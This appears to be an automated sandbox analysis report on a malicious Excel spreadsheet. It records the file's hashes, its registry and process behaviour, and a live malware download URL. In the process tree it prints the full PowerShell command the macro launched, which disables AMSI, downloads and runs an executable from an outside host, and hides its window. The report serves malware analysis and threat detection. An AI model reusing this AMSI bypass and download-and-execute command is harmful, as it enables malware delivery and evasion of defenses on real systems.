Analysis
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max time kernel
130s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
09-09-2024 16:07
Behavioral task
behavioral1
Sample
d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
Resource
win10v2004-20240802-en
General
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Target
d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls
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Size
67KB
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MD5
d6a9edfd6995ab7c8a84ce70178ea18c
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SHA1
e3ec93b8e8cfc7e7aef66664e4e83299502c8922
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SHA256
e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10
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SHA512
eceaa6daa296d71a281a99ddcc0b1cad84475677f14ed4ee2d348207ea11784ec3a46b490795d311542b2fc9c78f79c4964a7d203eefffa7f6799be9a2f79a9b
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SSDEEP
1536:VF35Ht0SwPasau4mU+4pL5n5LZImZqY35qAOJl/YrLYz+WrNhZFGzE+cL2RnAeaM:VF35Ht0Sgasau4mU+4pL5n5LZImZqY3x
Malware Config
Extracted
http://soilex.co.ke/sundaymorning.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1900 4860 powershell.exe EXCEL.EXE -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4860 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 1900 powershell.exe 1900 powershell.exe 1900 powershell.exe 1900 powershell.exe 1900 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1900 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4860 EXCEL.EXE 4860 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE 4860 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 4860 wrote to memory of 1900 4860 EXCEL.EXE powershell.exe PID 4860 wrote to memory of 1900 4860 EXCEL.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d6a9edfd6995ab7c8a84ce70178ea18c_JaffaCakes118.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);If (test-path $env:APPDATA + '\qlsh.exe') {Remove-Item $env:APPDATA + '\qlsh.exe'}; $CNVVK = New-Object System.Net.WebClient; $CNVVK.Headers['User-Agent'] = 'CNVVK'; $CNVVK.DownloadFile('http://soilex.co.ke/sundaymorning.exe', $env:APPDATA + '\qlsh.exe'); (New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\qlsh.exe'); Stop-Process -Id $Pid -Force2⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1900
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize2KB
MD560a37022503fd9ac7053beb4f1d666fb
SHA174d113e6388730104a8b8bafb245e61cfbe44d4a
SHA256a1bb304b965c5c3103c362c9ac3f7842deae5bd9d633d6478bd7393a5ffe8b71
SHA5120b4069e88478199d1e739b167d63c10ce17fc5776857c4470037e349d99dbfd792613e7ce49d5aa640ec7b77707ad065cc8caa65e491691076c619b77c68429f